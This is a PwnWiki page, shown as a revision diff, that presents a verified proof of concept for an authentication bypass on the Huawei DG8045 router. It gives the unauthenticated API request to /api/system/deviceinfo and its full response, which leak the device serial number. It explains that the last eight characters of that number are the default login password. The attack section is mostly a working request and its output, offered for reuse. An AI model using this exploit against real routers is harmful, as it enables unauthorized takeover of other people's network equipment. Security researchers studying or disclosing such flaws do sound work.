Difference between revisions of "Huawei (華爲) dg8045 身份驗證繞過漏洞"
From PwnWiki
(Marked this version for translation) |
(Marked this version for translation) |
||
| (One intermediate revision by the same user not shown) | |||
| Line 1: | Line 1: | ||
<languages /> | <languages /> | ||
| + | |||
| + | |||
| + | |||
| + | <center> | ||
| + | {| style="border: 2.0px solid grey; background: #b3ff9c;" width="85%" | ||
| + | | align="center" width="60px"| [[File:Check.png|link=|55px]] | ||
| + | | align="center" |'''<translate><!--T:2--> 該漏洞已通過驗證</translate>''' | ||
| + | ------ | ||
| + | <small><translate><!--T:3--> 本頁面的EXP/POC/Payload經測試可用，漏洞已經成功復現。</translate></small> | ||
| + | |} | ||
| + | </center> | ||
| + | |||
| + | |||
<translate> | <translate> | ||
==影響版本== <!--T:1--> | ==影響版本== <!--T:1--> | ||
Latest revision as of 16:55, 4 July 2021
|
該漏洞已通過驗證
本頁面的EXP/POC/Payload經測試可用，漏洞已經成功復現。 |
影響版本
Version: dg8045
POC
# Title: Huawei dg8045 - Authentication Bypass
# Date: 2020-06-24
# Author: Abdalrahman Gamal
# Vendor Homepage: www.huawei.com
# Version: dg8045
# Hardware Version: VER.A
#POC:
The default password of this router is the last 8 characters of the
device's serial number which exist in the back of the device.
An attacker can leak the serial number via the web app API like the
following:
************************Request************************
GET /api/system/deviceinfo HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0)
Gecko/20100101 Firefox/65.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.1.1/
X-Requested-With: XMLHttpRequest
Connection: close
************************Response************************
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
X-Download-Options: noopen
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Date: Thu, 24 Jun 2021 02:07 GMT+2
Connection: Keep-Alive
Content-Language: en
Content-Type: application/javascript
Content-Length: 141
while(1); /*{"DeviceName":"DG8045","SerialNumber":"21530369847SK9252081","ManufacturerOUI":"00E0FC","UpTime":81590,"HardwareVersion":"VER.A"}*/
You can use that serial number last 8 char/digits to login to the router.
